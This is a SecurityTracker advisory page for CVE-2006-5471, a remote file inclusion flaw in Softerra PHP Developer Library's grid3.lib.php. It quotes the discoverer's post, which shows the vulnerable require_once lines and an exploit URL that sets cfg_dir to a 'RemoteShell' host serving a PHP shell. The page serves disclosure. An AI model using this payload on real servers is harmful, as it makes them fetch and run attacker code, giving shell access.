SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Generic)  >   Softerra PHP Developer Library Vendors:   Softerra
Softerra PHP Developer Library Include File Bug in 'grid3.lib.php' Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1017046
SecurityTracker URL:  http://securitytracker.com/id/1017046
CVE Reference:   CVE-2006-5471   (Links to External Site)
Updated:  Jun 2 2008
Original Entry Date:  Oct 11 2006
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 1.5.3 and prior versions
Description:   A vulnerability was reported in Softerra PHP Developer Library. A remote user can include and execute arbitrary code on the target system.

The 'grid3.lib.php' script does not properly validate user-supplied input in the 'cfg_dir and 'lib_dir' parameters. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

A demonstration exploit URL to execute 'database.cfg.php/index.html' on the 'RemoteShell' server is provided:

http://[target]/PHPLibrary-1.5.3/example/lib/grid3.lib.php?cfg_dir=http://RemoteShell/

k1tk4t discovered this vulnerability.

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.softerra.com/products_php-library.htm (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  PHPLibrary <= 1.5.3 Remote File Inclusion

##################################################################################
# PHPLibrary <= 1.5.3 Remote File Inclusion
# Download Source : http://download.softerra.com/files/PHPLibrary-1.5.3.zip
#
# Found By        : k1tk4t - k1tk4t[4t]newhack.org
# Location        : Indonesia   -- #newhack[dot]org 
########################################################################
file ;
grid3.lib.php
########################################################################
bugs ; 
require_once ($cfg_dir . "database.cfg.php");
require_once ($cfg_dir . "error.codes.php");
require_once ($lib_dir . "sqlstorage.class.php");
require_once ($lib_dir . "registry.lib.php");
########################################################################
exmple and methode exploit ;
http://localhost/PHPLibrary-1.5.3/example/lib/grid3.lib.php?cfg_dir=http://RemoteShell/

at http://RemoteShell/ make direktory 'database.cfg.php'
and put phpshell in index.html inside 'database.cfg.php' direktory
http://RemoteShell/database.cfg.php/index.html
########################################################################
Thanks;
str0ke
milw0rm
google
#e-c-h-o (all member echo community)
#nyubi (all member solpotcrew community)
person;
y3dips, lirva32, the_day,(&all echo staff) 
evilcode,illibero,NoGe(asiahacker),
nyubi,x-ace,ghoz, home_edition2001,matdhule, iFX, and for all (friend's&enemy)

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC